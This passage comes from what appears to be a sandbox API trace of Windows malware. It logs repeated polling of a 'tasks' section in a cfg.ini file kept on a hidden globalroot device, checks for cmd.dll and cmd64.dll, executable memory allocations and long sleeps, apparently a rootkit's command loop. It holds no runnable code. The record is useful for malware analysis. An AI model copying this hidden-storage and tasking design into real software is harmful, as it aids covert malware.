_MaxCount=0x10) returned 0 [0127.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.656] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.656] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.656] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.656] IdePortDispatch () returned 0x103 [0127.656] KeWaitForMutexObject () returned 0x0 [0127.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.656] KeLeaveCriticalRegion () [0127.656] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.656] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.656] KeEnterCriticalRegion () [0127.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.656] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.656] KeLeaveCriticalRegion () [0127.657] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.657] KeEnterCriticalRegion () [0127.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.657] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.657] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.657] KeLeaveCriticalRegion () [0127.657] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.657] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.657] KeEnterCriticalRegion () [0127.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.657] ExFreePoolWithTag (P=0xfffffa80037e17f0, Tag=0x0) [0127.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.657] KeLeaveCriticalRegion () [0127.657] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.657] ReleaseMutex (hMutex=0xf0) returned 1 [0127.657] Sleep (dwMilliseconds=0x927c0) [0127.670] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.670] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.670] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.670] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.670] KeEnterCriticalRegion () [0127.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.671] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.671] IdePortDispatch () returned 0x103 [0127.671] KeWaitForMutexObject () returned 0x0 [0127.671] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.671] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.671] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.671] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.671] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.671] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfcd60 [0127.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.671] KeLeaveCriticalRegion () [0127.671] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.671] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.671] KeEnterCriticalRegion () [0127.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.671] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.671] KeLeaveCriticalRegion () [0127.671] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.671] KeEnterCriticalRegion () [0127.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.671] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.671] IdePortDispatch () returned 0x103 [0127.671] KeWaitForMutexObject () returned 0x0 [0127.672] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.672] KeLeaveCriticalRegion () [0127.672] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.672] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.672] KeEnterCriticalRegion () [0127.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.672] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b82000 [0127.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.672] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.672] IdePortDispatch () returned 0x103 [0127.672] KeWaitForMutexObject () returned 0x0 [0127.672] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.672] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.672] IdePortDispatch () returned 0x103 [0127.672] KeWaitForMutexObject () returned 0x0 [0127.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.672] KeLeaveCriticalRegion () [0127.672] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.673] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.673] KeEnterCriticalRegion () [0127.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.673] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.673] KeLeaveCriticalRegion () [0127.673] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.673] KeEnterCriticalRegion () [0127.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.673] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.673] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.673] KeLeaveCriticalRegion () [0127.673] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.673] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.673] KeEnterCriticalRegion () [0127.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.673] ExFreePoolWithTag (P=0xfffffa8003bfcd60, Tag=0x0) [0127.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.673] KeLeaveCriticalRegion () [0127.673] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.673] ReleaseMutex (hMutex=0xf0) returned 1 [0127.673] Sleep (dwMilliseconds=0x927c0) [0127.687] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.687] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.687] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.687] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.687] KeEnterCriticalRegion () [0127.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.687] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.687] IdePortDispatch () returned 0x103 [0127.687] KeWaitForMutexObject () returned 0x0 [0127.688] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.688] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.688] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.688] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.688] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.688] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfba70 [0127.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.688] KeLeaveCriticalRegion () [0127.688] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.688] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.688] KeEnterCriticalRegion () [0127.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.688] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.688] KeLeaveCriticalRegion () [0127.688] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.688] KeEnterCriticalRegion () [0127.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.688] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.688] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.688] IdePortDispatch () returned 0x103 [0127.688] KeWaitForMutexObject () returned 0x0 [0127.690] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.690] KeLeaveCriticalRegion () [0127.690] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.690] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.690] KeEnterCriticalRegion () [0127.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.690] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b87000 [0127.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.690] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.690] IdePortDispatch () returned 0x103 [0127.690] KeWaitForMutexObject () returned 0x0 [0127.690] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.690] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.690] IdePortDispatch () returned 0x103 [0127.690] KeWaitForMutexObject () returned 0x0 [0127.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.690] KeLeaveCriticalRegion () [0127.690] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.691] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.691] KeEnterCriticalRegion () [0127.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.691] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.691] KeLeaveCriticalRegion () [0127.691] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.691] KeEnterCriticalRegion () [0127.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.691] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.691] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.691] KeLeaveCriticalRegion () [0127.691] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.691] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.691] KeEnterCriticalRegion () [0127.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.691] ExFreePoolWithTag (P=0xfffffa8003bfba70, Tag=0x0) [0127.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.691] KeLeaveCriticalRegion () [0127.691] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.691] ReleaseMutex (hMutex=0xf0) returned 1 [0127.691] Sleep (dwMilliseconds=0x927c0) [0127.705] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.705] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.705] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.705] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.705] KeEnterCriticalRegion () [0127.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.705] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.705] IdePortDispatch () returned 0x103 [0127.705] KeWaitForMutexObject () returned 0x0 [0127.705] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.705] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.705] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.705] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.705] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.705] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfcb00 [0127.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.705] KeLeaveCriticalRegion () [0127.705] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.706] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.706] KeEnterCriticalRegion () [0127.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.706] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.706] KeLeaveCriticalRegion () [0127.706] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.706] KeEnterCriticalRegion () [0127.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.706] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.706] IdePortDispatch () returned 0x103 [0127.706] KeWaitForMutexObject () returned 0x0 [0127.706] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.706] KeLeaveCriticalRegion () [0127.706] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.706] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.706] KeEnterCriticalRegion () [0127.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.706] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8c000 [0127.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.706] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.706] IdePortDispatch () returned 0x103 [0127.706] KeWaitForMutexObject () returned 0x0 [0127.707] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.707] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.707] IdePortDispatch () returned 0x103 [0127.707] KeWaitForMutexObject () returned 0x0 [0127.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.707] KeLeaveCriticalRegion () [0127.707] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.707] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.707] KeEnterCriticalRegion () [0127.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.707] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.707] KeLeaveCriticalRegion () [0127.707] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.707] KeEnterCriticalRegion () [0127.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.707] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.708] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.708] KeLeaveCriticalRegion () [0127.708] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.708] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: 